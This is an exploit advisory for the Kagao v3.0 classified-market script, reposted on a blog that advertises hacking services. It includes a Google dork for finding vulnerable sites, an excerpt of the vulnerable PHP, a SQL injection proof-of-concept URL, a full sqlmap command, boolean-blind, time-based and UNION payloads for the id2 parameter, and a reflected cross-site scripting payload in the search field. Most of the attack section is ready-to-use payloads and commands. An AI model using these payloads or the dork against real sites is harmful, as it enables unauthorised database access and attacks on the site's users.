Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863535637

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
######################
# Application Name : Kagao v3.0 - Professional Classified Market

# Google Dork : inurl:/cat1.php?id2=

# Exploit Author : Cyber Warrior | Bug Researchers Group | N4TuraL

# Vendor Homepage : http://kogaoscript.com/

# Vulnerable Type : SQL Injection & Cross Site Scripting

# Date : 2016-06-26

# Tested on : Windows 10 / Mozilla Firefox
#             Linux / Mozilla Firefox
#             Linux / sqlmap 1.0.6.28#dev

###################### SQL Injection Vulnerability ######################

# Location :
http://localhost/[path]/cat1.php

######################

# Vulnerable code :

function pagenat(){

$buildLink = array(
"id" => intval($_GET['id']),
"id2" => isset($_GET['id2']) ? intval($_GET['id2']) : '',
"suche" => htmlspecialchars($_GET['suche']),
"sucheWo" => htmlspecialchars($_GET['sucheWo']),
"umkreis" => intval($_GET['umkreis']),
"page" => ""

);

$buildLink = http_build_query($buildLink);
$buildLink = 'cat1.php?' . $buildLink;

if($_GET['id2']){
$pages_num = getZahlPage($_GET['id2'], 'unterkategorie');
}
else{
$pages_num = getZahlPage($_GET['id'], 'kategorie');
}

$page = (isset($_GET['page'])) ? max($_GET['page'], 1) : 1;
$pages = ($pages_num > 1) ? pages($pages_num, $page, $buildLink) : '';
echo $pages;
}


######################

# PoC Exploit:

http://localhost/[path]/cat1.php?id2=999999.9%22%20union%20all%20select%20concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29%20as%20char%29%29%29%2C0x27%2C0x7e%29--%20a

# Exploit Code via sqlmap:

sqlmap -u http://localhost/[path]/cat1.php?id2=10 --dbms=mysql --random-agent --technique=BUESTQ --dbs --tamper=versionedkeywords --level=3 --risk=3 --no-cast

Parameter: id2 (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id2=10" AND 9863=9863 AND "UvFy"="UvFy

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id2=10" AND SLEEP(5) AND "Zxun"="Zxun

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: id2=-5676" UNION ALL SELECT CONCAT(0x716b786271,0x4e77456d62457a716850544f776d506c7679624969616c6b47417542766c4152464c6a665a7a7064,0x7162767671)-- vvJN
---

###################### Cross Site Scripting Vulnerability ######################

# PoC Exploit:

Search: "><script>alert('n4tural');</script>

http://localhost/[path]/cat1.php?id2=0&pricestart=0&room=&flache=&price=&zulassung=&kilometer=&kraftstoff=&id3=0&suche=%22%3E%3Cscript%3Ealert%28%27n4tural%27%29%3B%3C%2Fscript%3E&id=0&sucheWo=&umkreis=0

######################